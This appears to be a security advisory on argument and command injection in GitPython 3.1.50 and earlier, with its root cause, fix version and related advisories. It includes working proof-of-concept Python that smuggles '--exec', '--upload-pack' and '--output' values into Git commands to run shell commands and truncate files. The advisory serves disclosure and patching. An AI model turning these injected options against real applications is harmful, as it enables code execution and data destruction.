GitPython Command Injection and Arbitrary File Overwrite via Unguarded Git Options
GitPython 3.1.50 and earlier let callers pass dangerous Git options directly into several API methods with no safety check, enabling arbitrary command execution via Repo.archive() and git.ls_remote(),
The problem
GitPython maintains a denylist of unsafe Git options and enforces it through `Git.check_unsafe_options()`. That check is wired into only four network-facing methods: `clone_from`, `Remote.fetch`, `Remote.pull`, and `Remote.push`.
Three other public APIs forward caller-controlled values into the Git argv with no guard at all. `Repo.archive(**kwargs)` passes keyword arguments verbatim as Git flags before the `--` separator, so options like `--remote` and `--exec` reach the subprocess unchecked. `repo.git.ls_remote(upload_pack=...)` uses the dynamic kwarg builder to produce `--upload-pack=<value>` with no validation. `Repo.iter_commits(rev)` and `Repo.blame(rev, file)` place the caller's `rev` positional before `--` with no leading-dash check, so a value like `--output=/path` is parsed by Git as a file-write flag.
Proof of concept
A working proof-of-concept for this issue in GitPython, with the exact payload below.
# PoC 1: RCE via Repo.archive (works under default Git config, no special setup)
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)
# kwargs forwarded verbatim -> git archive --remote=. --exec='touch <marker>' -- HEAD
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError:
pass
print('[+] RCE marker present:', os.path.exists(marker)) # True
# PoC 2: RCE via ls_remote
repo.git.ls_remote('.', upload_pack='touch /tmp/gp_lsr_marker;')
# PoC 3: Arbitrary file truncation via iter_commits
victim = '/tmp/gp_fw_victim'
open(victim, 'w').write('do not delete\n')
try:
list(repo.iter_commits('--output=' + victim))
except git.exc.GitCommandError:
pass
print('[+] file truncated:', open(victim).read() == '') # TrueThe root cause is scope: `check_unsafe_options()` exists and works, but it is called from only four call sites, all of them network commands. Every other method that builds a Git argv from caller input is unguarded.
For `Repo.archive`, `transform_kwarg()` dashifies Python keyword arguments into `--name=value` flags and inserts them before the `--` end-of-options marker. Passing `exec='<cmd>'` produces `git archive --remote=<repo> --exec=<cmd> -- HEAD`. Git's `archive --remote` invokes `git-upload-archive`; `--exec` overrides the helper binary path.
No `protocol.ext.allow` configuration is needed.
For `iter_commits` and `blame`, the `rev` argument lands before `--` with no leading-dash check. Git honours `--output=<file>` in `rev-list`, `log`, and `blame`, opening and truncating the target file before it validates the revision. The file is destroyed even though Git then errors out.
CWE-88 (Argument Injection) and CWE-77 (Command Injection) both apply.
The fix
Upgrade to GitPython 3.1.51 (commit 701ce32, PR #2163). The patch extends `check_unsafe_options()` coverage to `Repo.archive`, `ls_remote`, `iter_commits`, `blame`, and the general dynamic-command builder, and adds a leading-dash guard on positional `rev` arguments before the `--` separator.
Related research
- highGitPython unsafe clone option gate bypass via joined short options
- high · 8.8GitPython: OS Command Injection via git long-option prefix abbreviation bypass
- high · 8.8CVE-2026-54449CVE-2026-54449: LangBot Authenticated RCE via MCP STDIO Command Injection
- high · 7.5GitPython: Environment-Variable Exfiltration via Repo.clone_from() URL